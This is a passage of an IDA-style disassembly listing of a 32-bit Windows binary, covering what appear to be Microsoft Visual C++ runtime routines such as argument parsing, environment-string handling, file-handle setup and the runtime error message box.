		shr	ebx, 1

loc_41F408:				; CODE XREF: sub_41F2D9+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41F41D
		inc	ebx

loc_41F410:				; CODE XREF: sub_41F2D9+142j
		test	esi, esi
		jz	short loc_41F418
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_41F418:				; CODE XREF: sub_41F2D9+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41F410

loc_41F41D:				; CODE XREF: sub_41F2D9+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41F46D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41F433
		cmp	dl, 20h
		jz	short loc_41F46D
		cmp	dl, 9
		jz	short loc_41F46D

loc_41F433:				; CODE XREF: sub_41F2D9+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41F467
		test	esi, esi
		jz	short loc_41F456
		movzx	ebx, dl
		test	byte_48B561[ebx], 4
		jz	short loc_41F44F
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_41F44F:				; CODE XREF: sub_41F2D9+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F465
; ---------------------------------------------------------------------------

loc_41F456:				; CODE XREF: sub_41F2D9+162j
		movzx	edx, dl
		test	byte_48B561[edx], 4
		jz	short loc_41F465
		inc	eax
		inc	dword ptr [ecx]

loc_41F465:				; CODE XREF: sub_41F2D9+17Bj
					; sub_41F2D9+187j
		inc	dword ptr [ecx]

loc_41F467:				; CODE XREF: sub_41F2D9+15Ej
		inc	eax
		jmp	loc_41F3C5
; ---------------------------------------------------------------------------

loc_41F46D:				; CODE XREF: sub_41F2D9+148j
					; sub_41F2D9+153j ...
		test	esi, esi
		jz	short loc_41F475
		and	byte ptr [esi],	0
		inc	esi

loc_41F475:				; CODE XREF: sub_41F2D9+196j
		inc	dword ptr [ecx]
		jmp	loc_41F393
; ---------------------------------------------------------------------------

loc_41F47C:				; CODE XREF: sub_41F2D9+BDj
					; sub_41F2D9+D5j
		test	edi, edi
		jz	short loc_41F483
		and	dword ptr [edi], 0

loc_41F483:				; CODE XREF: sub_41F2D9+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41F2D9	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_48A1D0
		push	ebx
		push	ebp
		mov	ebp, dword_42403C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41F4DB
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41F4BC
		mov	dword_48A1D0, 1
		jmp	short loc_41F4E4
; ---------------------------------------------------------------------------

loc_41F4BC:				; CODE XREF: ___:0041F4AEj
		call	near ptr 25C028Ch
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41F5B6
		mov	dword_48A1D0, 2
		jmp	loc_41F56A
; ---------------------------------------------------------------------------

loc_41F4DB:				; CODE XREF: ___:0041F4A6j
		cmp	eax, 1
		jnz	loc_41F565

loc_41F4E4:				; CODE XREF: ___:0041F4BAj
		cmp	esi, ebx
		jnz	short loc_41F4F4
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41F5B6

loc_41F4F4:				; CODE XREF: ___:0041F4E6j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41F509

loc_41F4FB:				; CODE XREF: ___:0041F500j
					; ___:0041F507j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB

loc_41F509:				; CODE XREF: ___:0041F4F9j
		sub	eax, esi
		mov	edi, dword_424150
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41F55A
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_41F55A
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_41F556
		push	dword ptr [esp+10h]
		call	sub_417C3B
		pop	ecx
		mov	[esp+10h], ebx

loc_41F556:				; CODE XREF: ___:0041F546j
		mov	ebx, [esp+10h]

loc_41F55A:				; CODE XREF: ___:0041F526j
					; ___:0041F535j
		push	esi
		nop
		call	near ptr 25C059Eh
		mov	eax, ebx
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------

loc_41F565:				; CODE XREF: ___:0041F4DEj
		cmp	eax, 2
		jnz	short loc_41F5B6

loc_41F56A:				; CODE XREF: ___:0041F4D6j
		cmp	edi, ebx
		jnz	short loc_41F57A
		nop
		call	near ptr 25C028Ch
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41F5B6

loc_41F57A:				; CODE XREF: ___:0041F56Cj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41F58A

loc_41F580:				; CODE XREF: ___:0041F583j
					; ___:0041F588j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580

loc_41F58A:				; CODE XREF: ___:0041F57Ej
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41F5A0
		xor	esi, esi
		jmp	short loc_41F5AB
; ---------------------------------------------------------------------------

loc_41F5A0:				; CODE XREF: ___:0041F59Aj
		push	ebp
		push	edi
		push	esi
		call	sub_417390
		add	esp, 0Ch

loc_41F5AB:				; CODE XREF: ___:0041F59Ej
		push	edi
		call	near ptr 25C05C1h
		nop
		mov	eax, esi
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------

loc_41F5B6:				; CODE XREF: ___:0041F4C6j
					; ___:0041F4EEj ...
		xor	eax, eax

loc_41F5B8:				; CODE XREF: ___:0041F563j
					; ___:0041F5B4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41F5DF
		push	1Bh
		call	sub_419CDA
		pop	ecx

loc_41F5DF:				; CODE XREF: ___:0041F5D5j
		mov	dword_48B340, esi
		mov	dword_48B440, 20h
		lea	eax, [esi+100h]

loc_41F5F5:				; CODE XREF: ___:0041F611j
		cmp	esi, eax
		jnb	short loc_41F613
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_48B340
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41F5F5
; ---------------------------------------------------------------------------

loc_41F613:				; CODE XREF: ___:0041F5F7j
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 27F0000h
		cmp	word ptr [esp+42h], 0
		jz	loc_41F6EF
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_41F6EF
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41F649
		mov	esi, eax

loc_41F649:				; CODE XREF: ___:0041F645j
		cmp	dword_48B440, esi
		jge	short loc_41F6A3
		mov	edi, offset dword_48B344

loc_41F656:				; CODE XREF: ___:0041F699j
		push	100h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41F69D
		add	dword_48B440, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_41F674:				; CODE XREF: ___:0041F68Ej
		cmp	eax, ecx
		jnb	short loc_41F690
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41F674
; ---------------------------------------------------------------------------

loc_41F690:				; CODE XREF: ___:0041F676j
		add	edi, 4
		cmp	dword_48B440, esi
		jl	short loc_41F656
		jmp	short loc_41F6A3
; ---------------------------------------------------------------------------

loc_41F69D:				; CODE XREF: ___:0041F663j
		mov	esi, dword_48B440

loc_41F6A3:				; CODE XREF: ___:0041F64Fj
					; ___:0041F69Bj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41F6EF

loc_41F6A9:				; CODE XREF: ___:0041F6EDj
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F6E6
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41F6E6
		test	cl, 8
		jnz	short loc_41F6C8
		push	eax
		nop
		call	near ptr 25B0818h
		test	eax, eax
		jz	short loc_41F6E6

loc_41F6C8:				; CODE XREF: ___:0041F6BBj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48B340[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_41F6E6:				; CODE XREF: ___:0041F6AEj
					; ___:0041F6B6j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41F6A9

loc_41F6EF:				; CODE XREF: ___:0041F624j
					; ___:0041F630j ...
		xor	ebx, ebx

loc_41F6F1:				; CODE XREF: ___:0041F754j
		mov	eax, dword_48B340
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41F74C
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41F70C
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41F716
; ---------------------------------------------------------------------------

loc_41F70C:				; CODE XREF: ___:0041F705j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_41F716:				; CODE XREF: ___:0041F70Aj
		push	eax
		nop
		call	near ptr 25C0000h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41F73B
		push	edi
		nop
		call	near ptr 25B0818h
		test	eax, eax
		jz	short loc_41F73B
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41F741

loc_41F73B:				; CODE XREF: ___:0041F722j
					; ___:0041F72Dj
		or	byte ptr [esi+4], 40h
		jmp	short loc_41F750
; ---------------------------------------------------------------------------

loc_41F741:				; CODE XREF: ___:0041F739j
		cmp	eax, 3
		jnz	short loc_41F750
		or	byte ptr [esi+4], 8
		jmp	short loc_41F750
; ---------------------------------------------------------------------------

loc_41F74C:				; CODE XREF: ___:0041F6FDj
		or	byte ptr [esi+4], 80h

loc_41F750:				; CODE XREF: ___:0041F73Fj
					; ___:0041F744j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41F6F1
		push	dword_48B440
		nop
		call	near ptr 25C01FEh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F774	proc near		; DATA XREF: sub_41CFF1+Ao
					; sub_41D120+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41F814
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_41F7A7:				; CODE XREF: sub_41F774+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41F80D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41F7FB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41F7FB
		js	short loc_41F806
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4181A0
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4181E2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_418276
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_41F7FB:				; CODE XREF: sub_41F774+40j
					; sub_41F774+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41F7A7
; ---------------------------------------------------------------------------

loc_41F806:				; CODE XREF: sub_41F774+54j
		mov	eax, 0
		jmp	short loc_41F829
; ---------------------------------------------------------------------------

loc_41F80D:				; CODE XREF: sub_41F774+36j
		mov	eax, 1
		jmp	short loc_41F829
; ---------------------------------------------------------------------------

loc_41F814:				; CODE XREF: sub_41F774+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_41F829:				; CODE XREF: sub_41F774+97j
					; sub_41F774+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F774	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41F84C	proc near		; CODE XREF: sub_419CDA+9p
		mov	eax, dword_48A068
		cmp	eax, 1
		jz	short loc_41F863
		test	eax, eax
		jnz	short locret_41F884
		cmp	dword_439594, 1
		jnz	short locret_41F884

loc_41F863:				; CODE XREF: sub_41F84C+8j
		push	0FCh
		call	sub_41F885
		mov	eax, dword_48A1D4
		pop	ecx
		test	eax, eax
		jz	short loc_41F879
		call	eax

loc_41F879:				; CODE XREF: sub_41F84C+29j
		push	0FFh
		call	sub_41F885
		pop	ecx

locret_41F884:				; CODE XREF: sub_41F84C+Cj
					; sub_41F84C+15j
		retn
sub_41F84C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F885	proc near		; CODE XREF: sub_419CDA+12p
					; sub_41F84C+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43BC28

loc_41F898:				; CODE XREF: sub_41F885+20j
		cmp	edx, [eax]
		jz	short loc_41F8A7
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43BCB8
		jl	short loc_41F898

loc_41F8A7:				; CODE XREF: sub_41F885+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43BC28[esi]
		jnz	loc_41F9D5
		mov	eax, dword_48A068
		cmp	eax, 1
		jz	loc_41F9AF
		test	eax, eax
		jnz	short loc_41F8D8
		cmp	dword_439594, 1
		jz	loc_41F9AF

loc_41F8D8:				; CODE XREF: sub_41F885+44j
		cmp	edx, 0FCh
		jz	loc_41F9D5
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2620000h
		nop
		test	eax, eax
		jnz	short loc_41F90F
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx

loc_41F90F:				; CODE XREF: sub_41F885+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_417AB0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41F952
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_418C10
		add	esp, 10h

loc_41F952:				; CODE XREF: sub_41F885+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_4179C0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_A0]
		push	offset asc_424BA8 ; "\n\n"
		push	eax
		call	sub_4179D0
		push	off_43BC2C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4179D0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_42105F
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41F9D5
; ---------------------------------------------------------------------------

loc_41F9AF:				; CODE XREF: sub_41F885+3Cj
					; sub_41F885+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43BC2C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 25C0000h
		nop
		push	eax
		nop
		call	near ptr 2600000h

loc_41F9D5:				; CODE XREF: sub_41F885+2Ej
					; sub_41F885+59j ...
		pop	esi
		leave
		retn
sub_41F885	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F9D8	proc near		; CODE XREF: sub_419D23+6Cp
					; sub_41E248+32p ...

arg_0		= dword	ptr  4

		inc	dword_48A1D8
		push	1000h
		call	sub_417B89
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41FA01
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41FA12
; ---------------------------------------------------------------------------

loc_41FA01:				; CODE XREF: sub_41F9D8+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_41FA12:				; CODE XREF: sub_41F9D8+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41F9D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA1C	proc near		; CODE XREF: sub_419D23+61p
					; sub_41A8A2+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48B440
		jb	short loc_41FA2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41FA2B:				; CODE XREF: sub_41FA1C+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48B340[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41FA1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA42	proc near		; DATA XREF: ___:00426020o
		mov	eax, dword_48B320
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41FA56
		mov	eax, 200h
		jmp	short loc_41FA5C
; ---------------------------------------------------------------------------

loc_41FA56:				; CODE XREF: sub_41FA42+Bj
		cmp	eax, esi
		jge	short loc_41FA61
		mov	eax, esi

loc_41FA5C:				; CODE XREF: sub_41FA42+12j
		mov	dword_48B320, eax

loc_41FA61:				; CODE XREF: sub_41FA42+16j
		push	4
		push	eax
		call	sub_4210E8
		pop	ecx
		mov	dword_48A310, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	4
		push	esi
		mov	dword_48B320, esi
		call	sub_4210E8
		pop	ecx
		mov	dword_48A310, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	1Ah
		call	sub_419CDA
		pop	ecx

loc_41FA95:				; CODE XREF: sub_41FA42+30j
					; sub_41FA42+49j
		xor	ecx, ecx
		mov	eax, offset off_43BCB8

loc_41FA9C:				; CODE XREF: sub_41FA42+6Ej
		mov	edx, dword_48A310
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43BF38
		jl	short loc_41FA9C
		xor	edx, edx
		mov	ecx, offset dword_43BCC8

loc_41FAB9:				; CODE XREF: sub_41FA42+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_48B340[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FAD6
		test	eax, eax
		jnz	short loc_41FAD9

loc_41FAD6:				; CODE XREF: sub_41FA42+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_41FAD9:				; CODE XREF: sub_41FA42+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43BD28
		jl	short loc_41FAB9
		pop	esi
		retn
sub_41FA42	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FAE7	proc near		; DATA XREF: ___:00426030o

; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES

		call	sub_41A82C
		cmp	byte_48A054, 0
		jz	short locret_41FAFA
		jmp	loc_421199
; ---------------------------------------------------------------------------

locret_41FAFA:				; CODE XREF: sub_41FAE7+Cj
		retn
sub_41FAE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FAFB	proc near		; CODE XREF: sub_419E38+2D4p
					; sub_419E38+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41FB07
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FB07:				; CODE XREF: sub_41FAFB+8j
		cmp	dword_48A0A8, 0
		jnz	short loc_41FB22
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41FB54
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FB22:				; CODE XREF: sub_41FAFB+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_4397AC
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_48A0B8
		nop
		call	near ptr 2770000h
		test	eax, eax
		jz	short loc_41FB54
		cmp	[ebp+arg_0], 0
		jz	short loc_41FB61

loc_41FB54:				; CODE XREF: sub_41FAFB+1Ej
					; sub_41FAFB+51j
		mov	dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh

loc_41FB61:				; CODE XREF: sub_41FAFB+57j
		pop	ebp
		retn
sub_41FAFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB63	proc near		; CODE XREF: sub_41A642+5Ep
					; sub_41EB6C+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424BE8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_48A1DC
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41FBD2
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		nop
		call	near ptr 25A068Eh
		test	eax, eax
		jz	short loc_41FBB0
		mov	eax, esi
		jmp	short loc_41FBCD
; ---------------------------------------------------------------------------

loc_41FBB0:				; CODE XREF: sub_41FB63+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_43C824
		push	esi
		push	ebx
		nop
		call	near ptr 25B0000h
		test	eax, eax
		jz	loc_41FC98
		push	2
		pop	eax

loc_41FBCD:				; CODE XREF: sub_41FB63+4Bj
		mov	dword_48A1DC, eax

loc_41FBD2:				; CODE XREF: sub_41FB63+2Fj
		cmp	eax, 2
		jnz	short loc_41FBFB
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41FBE3
		mov	eax, dword_48A0A8

loc_41FBE3:				; CODE XREF: sub_41FB63+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 25B0000h
		jmp	loc_41FC9A
; ---------------------------------------------------------------------------

loc_41FBFB:				; CODE XREF: sub_41FB63+72j
		cmp	eax, 1
		jnz	loc_41FC98
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41FC11
		mov	eax, dword_48A0B8
		mov	[ebp+arg_10], eax

loc_41FC11:				; CODE XREF: sub_41FB63+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 25F0000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41FC98
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_41FC67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_41FC67:				; CODE XREF: sub_41FB63+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41FC98
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 25F0000h
		cmp	eax, ebx
		jz	short loc_41FC98
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 25A068Eh
		jmp	short loc_41FC9A
; ---------------------------------------------------------------------------

loc_41FC98:				; CODE XREF: sub_41FB63+61j
					; sub_41FB63+9Bj ...
		xor	eax, eax

loc_41FC9A:				; CODE XREF: sub_41FB63+93j
					; sub_41FB63+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FB63	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCAC	proc near		; CODE XREF: sub_41FEC6:loc_42003Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_48B340

loc_41FCBB:				; CODE XREF: sub_41FCAC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41FCF8
		lea	edx, [eax+100h]

loc_41FCC7:				; CODE XREF: sub_41FCAC+28j
		cmp	eax, edx
		jnb	short loc_41FCE7
		test	byte ptr [eax+4], 1
		jz	short loc_41FCD6
		add	eax, 8
		jmp	short loc_41FCC7
; ---------------------------------------------------------------------------

loc_41FCD6:				; CODE XREF: sub_41FCAC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41FD3B

loc_41FCE7:				; CODE XREF: sub_41FCAC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_48B440
		jl	short loc_41FCBB
		jmp	short loc_41FD3B
; ---------------------------------------------------------------------------

loc_41FCF8:				; CODE XREF: sub_41FCAC+13j
		mov	esi, 100h
		push	esi
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41FD3B
		add	dword_48B440, 20h
		lea	ecx, ds:48B340h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_41FD1E:				; CODE XREF: sub_41FCAC+88j
		cmp	eax, edx
		jnb	short loc_41FD36
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41FD1E
; ---------------------------------------------------------------------------

loc_41FD36:				; CODE XREF: sub_41FCAC+74j
		shl	edi, 5
		mov	ebx, edi

loc_41FD3B:				; CODE XREF: sub_41FCAC+39j
					; sub_41FCAC+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41FCAC	endp


